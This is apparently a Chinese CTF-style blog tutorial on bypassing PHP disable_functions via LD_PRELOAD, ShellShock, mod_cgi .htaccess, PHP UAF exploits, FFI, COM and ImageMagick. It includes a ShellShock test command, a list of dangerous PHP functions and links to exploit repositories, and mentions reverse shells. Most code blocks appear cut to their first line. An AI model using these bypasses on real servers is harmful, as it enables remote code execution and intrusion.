PHP 的 disable_functions 用于禁用一些危险的函数避免被攻击者利用
disable_function专题: https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions
寻找非过滤函数
1 |
function="pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system,putenv" |
LD_PRELOAD
LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。
1 |
putenv():PHP函数,可以设置环境变量 |
大致步骤:
- 生成一个我们的恶意动态链接库文件
- 利用putenv设置LD_PRELOAD为我们的恶意动态链接库文件的路径
- 配合php的某个函数去触发我们的恶意动态链接库文件
- RCE并获取flag
getflag.c
1 |
#include <stdlib.h> |
编译成getflag.so
1 |
gcc -shared -fPIC getflag.c -o getflag.so |
上传到tmp目录下,
在网站根目录创建shell.php
1 |
|
然后去GET请求包含shell.php url/?ant=include(%27shell.php%27);
在tmp目录上生成flag.txt,包含flag,蚁剑记得重新刷新一下目录
ShellShock
ShellShock,破壳漏洞,出现于2014年
利用bash破壳漏洞(CVE-2014-6271),该漏洞存在于bash 1.14 – 4.3版本中
https://www.cnblogs.com/qmfsun/p/7591757.html
可以通过以下命令来判断是否存在这个漏洞
1 |
env x='() { :;}; echo vulnerable' bash -c "echo this is a test" |
如果结果中有 vulnerable说明存在这个漏洞,执行了echo vulnerable这个语句。
大致原理:
bash shell中定义环境变量通过函数名称来调用时,正常情况下是这样
在这里插入图片描述
但是对于存在shellshock漏洞的环境下,Bash对于环境变量只是检测到函数,并且从’{‘开始执行,但是并没有在’}’后停止,也就是说定义在函数体外shell命令也会执行,所以env x='() { :;}; echo vulnerable'
输出了vulnerable。
例题:
查看phpinfo() 和上题一样还是没有禁用error_log函数。正常情况下蚁剑已经实现通过ShellShock漏洞,直接拿到shell,但是这题不行。
上传shell.php,并访问
1 |
|
通过putenv来设置环境变量,默认putenv定义的环境变量名必须以PHP_
开头。
error_log()函数会在执行sh -c -t -i
触发payload
Apache Mod CGI
需要满足几个条件:
- 必须是apache环境
- mod_cgi已经启用
- 必须允许.htaccess文件,也就是说在httpd.conf中,要注意AllowOverride选项为All,而不是none
- 必须有权限写.htaccess文件
例:
.htaccess内容:
1 |
Options +ExecCGI |
shell.test
1 |
|
这里没尝试成功,猜测要给shell.test给777权限
注解:
Options指令是Apache配置文件中一个比较常见也比较重要的指令,Options指令可以在Apache服务器核心配置(server config)、虚拟主机配置(virtual host)、特定目录配置(directory)以及.htaccess文件中使用。Options指令的主要作用是控制特定目录将启用哪些服务器特性。
关于Options指令后可以附加的特性选项的具体作用及含义,可以参考这篇文章:http://www.365mini.com/page/apache-options-directive.htm
当然我们用到的就是ExecCGI选项,表示允许使用mod_cgi模块执行CGI脚本
上传shell.php,vps监听端口,访问shell.php,反弹shell
1 |
|
PHP-FPM
详情可看此篇文章:https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
可用蚁剑 disable_functions 插件绕过
会生成 .antproxy.php 文件,密码ant
连接 .antproxy.php 文件
GC UAF
利用的是PHP garbage collector程序中的堆溢出触发,影响范围为7.0-1.3
使用条件:
Linux 操作系统
PHP 版本
7.0 - all versions to date
7.1 - all versions to date
7.2 - all versions to date
7.3 - all versions to date
exp:https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass
或者直接蚁剑
1 |
|
FFI 扩展
FFI扩展
php>7.4,开启了FFI扩展ffi.enable=true,我们可以通过FFI来调用C中的system进而达到执行命令的目的
https://www.laruence.com/2020/03/11/5475.html
1 |
|
用蚁剑
Json Serializer UAF
利用json序列化中的堆溢出触发,借以绕过disable_function,影响范围是:
7.1 – all versions to date
7.2 < 7.2.19 (released: 30 May 2019)
7.3 < 7.3.6 (released: 30 May 2019)
1 |
|
Backtrace UAF
影响版本是7.0-7.4
1 |
|
COM
window下的组件,开启组件(php5.4以上),开启com.allow_dcom = true,添加extension=php_com_dotnet.dll
exp.php
1 |
|
ImageMagick
imagemagick是一个用于处理图片的程序,如果上传的图片含有攻击代码,在处理时可被远程执行任意代码(CVE-2016–3714)
写一句话到网站根目录下:
1 |
push graphic-context |
反弹 shell:
1 |
push graphic-context |
例题
EasyThinking
https://xz.aliyun.com/t/7131
即session后缀是我们可控的,那么只要在写入session时数据我们可控,便可进行写shell;查看控制器,其主要逻辑代码位于app/home/controller/Member.php这个控制器内。Member控制器的search方法有这样一个判断:
1 |
if (!session('?UID')){ |
https://github.com/mm0r1/exploits/tree/master
参考文章:
https://writeup.ctfhub.com/Skill/Web%E8%BF%9B%E9%98%B6/PHP/Bypass-disable-function/3d4335ed.html
https://blog.csdn.net/rfrder/article/details/109078117
https://www.anquanke.com/post/id/208451
FROM :blog.cfyqy.com | Author:cfyqy
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论